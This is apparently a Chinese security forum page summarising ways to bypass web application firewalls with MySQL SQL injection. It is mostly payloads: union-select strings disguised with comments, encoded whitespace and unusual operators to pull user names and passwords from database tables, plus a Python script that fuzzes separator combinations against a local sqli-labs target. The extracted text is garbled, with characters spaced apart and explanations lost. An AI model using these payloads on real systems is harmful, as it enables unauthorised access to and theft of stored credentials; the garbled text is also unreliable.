[18220] 2020-12-02_MySQL绕过小结

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-12-02_MySQL绕过小结 M y S Q L   H A C K   2 0 2 0 - 1 2 - 0 2 0 x 0 1     m y s q l   0 x 0 2   W a f B y p a s s   S Q L   S Q L   ( 1 ) ( 2 ) ( 3 ) / * * /   % 2 3   - - +   / * ! 5 0 0 0 0 u n i o n * / i d = 2 / * * / u n i o n   s e l e c t   1 , u s e r , 3   f r o m   a d m i n % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 i d =   1   % 0 a   u n i o n   s e l e c t   1 , u s e r , 3   f r o m   a d m i n e   .
( 4 ) 使 ( 5 ) x @ S Q L s e l e c t   *   f r o m   a r t i c l e   w h e r e   i d   =   ' 2 ' ( 6 ) { x   k e y } S Q L s e l e c t   *   f r o m   a r t i c l e   w h e r e   i d   =   ' 2 ' e   . i d =   2 e 0   u n i o n   s e l e c t   1 , u s e r , 3   f r o m   a d m i n i d =   1 . u n i o n   s e l e c t   1 , u s e r , 3   f r o m   a d m i n i d =   1 . 1 u n i o n   s e l e c t   1 , u s e r , 3   f r o m   a d m i n % 1 % 2 E       % 2 % 2 E         % 3 % 2 E       i d =   1 '     % 1 % 2 E u n i o n   s e l e c t   u s e r ( ) , 2   % 2 3 i d =   1 '     ' x x ' u n i o n   s e l e c t   u s e r ( ) , 2   % 2 3 i d =   1 '     " " u n i o n   s e l e c t   u s e r ( ) , 2   % 2 3 % @   * @   - @   + @   / @   < @   = @   > @   ^ @   | @   % 2 6 @   - @ ' '   - @ " "   - @ @ n e w i d = '     - @   u n i o n   s e l e c t   1 , 2   , 3   % 2 3 i d = '     % 2 6 @   u n i o n   s e l e c t   1 , 2   , 3   % 2 3 i d = '     - @ ' '   u n i o n   s e l e c t   1 , 2   , 3   % 2 3 i d = '   - @ @ n e w     u n i o n   s e l e c t   1 , 2   , 3   % 2 3
( 7 )   ( 8 ) ( 1 )   ( 2 ) i d = '   a n d   { x   - 2 }   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 i d = '     | |     ! { ` x `   - 2 }   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 i d = '     | |     ! { ` x `   - @ }   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 i d = '     a n d   { x     i d }   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 i d = '     a n d   { x     i d }   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 i d = '   a n d   { i d   ( s e l e c t / * * / - - 0 ) } u n i o n   s e l e c t   1 , 2 , 3   % 2 3 N u n i o n   s e l e c t   1 , 2 , 3   % 2 3 n u l l   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 a n d     M D 5 ( ' a ' )   u n i o n   s e l e c t   1 , p a s s w o r d , d a t a b a s e ( )   f r o m   u s e r s - - +   a n d   b i n a r y   @   u n i o n   s e l e c t   1 , p a s s w o r d , 3   f r o m   u s e r s - - + a n d     S T _ X ( P o i n t ( 1 ,   2 ) )   u n i o n   s e l e c t   1 , p a s s w o r d , d a t a b a s e ( )   f r o m   u s e r s - - + % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 i d =   1     u n i o n % 0 a s e l e c t   1 , u s e r , 3   f r o m   a d m i n
( 3 ) ( 4 )   A L L   |   D I S T I N C T   |   D I S T I N C T R O W ( 5 ) ( 1 )   / * ! * /   / * * / i d =   1     u n i o n   / * * / s e l e c t   1 , u s e r , 3   f r o m   a d m i n u n i o n ( s e l e c t     1 , ( p a s s w o r d ) , 3 , 4 , 5 , 6   f r o m ( u s e r s ) )   % 2 3 u n i o n   A L L   s e l e c t     1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 % 0 9 % 0 A % 0 D % 0 b % 0 b % 0 A % 0 9 % 0 C % 0 9 % 2 3 % 0 A - - % 0 A % 2 3 % 0 A - - + N % 0 A % 2 3 % f 0 % 0 A . . . u n i o n % 2 3 % 0 A s e l e c t     1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n - -   x x % 0 A s e l e c t     1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0
( 2 ) ( 3 )   A L L   |   D I S T I N C T   |   D I S T I N C T R O W ( 4 )   { }   ( ) ( 5 ) u n i o n   s e l e c t   % 0 9   1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 / * ! * /   / * * / u n i o n   s e l e c t   / * * /   1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t   A L L     1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t { x   1 } , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t ( 1 ) , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 +   -   @   ~   ! u n i o n   s e l e c t + 1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 "   '   u n i o n   s e l e c t " " a 1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t + 1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 + @   + ' '   - @   - ' '   ~ @   ~ ' '   ~ " "   ! @   ! " "   @ $   @ .   N $ . . .
( 6 ) ( 1 )   ( 2 ) ( 3 )   1 '   u n i o n   s e l e c t   1 , 2 , p a s s w o r d   ` ` f r o m   u s e r s ` `   - - + ( 4 ) u n i o n   s e l e c t + @ a 1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t N $ a 1 , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t     M D 5 ( ' a ' )   | 1 , 2 , d a t a b a s e ( )   f r o m   u s e r s - - + u n i o n   s e l e c t   r e v e r s e ( ' x x ' ) , p a s s w o r d , 3   f r o m   u s e r s   % 2 3 u n i o n   s e l e c t   S T _ X ( P o i n t ( 1 ,   2 ) ) a , 2 , d a t a b a s e ( )   f r o m   u s e r s - - + % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % 2 3 , % 2 7 - 1 '   u n i o n   s e l e c t   1 , 2 , u s e r ( ) % 2 3 f r o m   u s e r s - - + / * ! * /   / * * / - 1 '   u n i o n   s e l e c t   1 , 2 , u s e r ( ) / * * / f r o m   u s e r s - - +
( 5 )   N 1 '   u n i o n   s e l e c t   1 , p a s s w o r d , N f r o m   u s e r s   - - + 1 '   u n i o n   s e l e c t   1 , u s e r ( ) , " " f r o m   u s e r s   - - + e   . 1 '   u n i o n   s e l e c t   1 , p a s s w o r d , 3 e 1 f r o m   u s e r s   - - + 1 '   u n i o n   s e l e c t   1 , p a s s w o r d , 3 . 1 f r o m   u s e r s   - - + ( 1 )   1 '   u n i o n   s e l e c t   1 , 2 , { x   p a s s w o r d } f r o m   u s e r s   - - + 1 '   u n i o n   s e l e c t   1 , 2 , ( p a s s w o r d ) f r o m   u s e r s   - - + N % 0 C     N % 2 3     N % 2 7     % 7 E N     % 2 1 N     % 2 7 N       % 2 D N     % 7 E N   % 2 D % 2 D % 0 A % 2 7 - -     - - % 4 0       - - % 2 7   - - " " . . . 1 '   u n i o n   s e l e c t   1 , u s e r ( ) , N X X X X % 2 3 f r o m   u s e r s   - - + 1 '   u n i o n   s e l e c t   1 , u s e r ( ) , % 2 7 X X X X - - f r o m   u s e r s   - - + % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % 2 E 1 '   u n i o n   s e l e c t   1 , 2 , u s e r ( )   f r o m % 0 d u s e r s - - +
( 2 ) - 1 '   u n i o n   s e l e c t   1 , 2 , u s e r ( )   f r o m   / * * / u s e r s - - + ( 3 ) 0 x 0 3   F U Z Z 姿 姿   F U Z Z   使   S Q L     F U Z Z P y t h o n P y t h o n / * ! * /   / * * / 1 '   u n i o n   s e l e c t   1 , u s e r ( ) , 3   f r o m ( u s e r s )   - - +     1 '   u n i o n   s e l e c t   1 , u s e r ( ) , 3   f r o m { x   u s e r s }   - - +
i m p o r t   r e q u e s t s i m p o r t   i t e r t o o l s L i s t   =   [ ' % 2 0 ' , ' % 0 9 ' , ' % 0 a ' , ' % 0 b ' , ' % 0 c ' , ' % 0 d ' , ' % 2 d % 2 d ' , ' % 2 3 ' , ' % a 0 ' , ' % 2 D % 2 D % 2 B ' , ' % 5 C % 4 E ' , ' N ' ] c o u n t   =   0 n u m   =   2   # f u z z   n u m   t a r g e t   =   ' h t t p : / / l o c a l h o s t / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = - 1 '   ' f o r   i   i n   i t e r t o o l s . p r o d u c t ( L i s t , r e p e a t = n u m ) :         c o u n t   + =   1         p r i n t ( c o u n t , ' : ' , l e n ( L i s t ) * * n u m )         s t r   =   ' ' . j o i n ( ( i ) )         p a y l o a d   =   ' { } u n i o n   s e l e c t   1 , u s e r ( ) , 3   f r o m   u s e r s   % 2 3 ' . f o r m a t ( s t r )         u r l   =   t a r g e t   +   p a y l o a d         r e q   =   r e q u e s t s . g e t ( u r l = u r l )         i f   " r o o t @ l o c a l h o s t "   i n   r e q . t e x t :                 p r i n t ( u r l )                 w i t h   o p e n ( " r e s u l t . t x t " , ' a ' , e n c o d i n g = ' u t f - 8 ' )   a s   r :                         r . w r i t e ( s t r   +   " n " ) f u z z   2   p a y l o a d
B u r p   2 0 0   访 b a n   i p
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则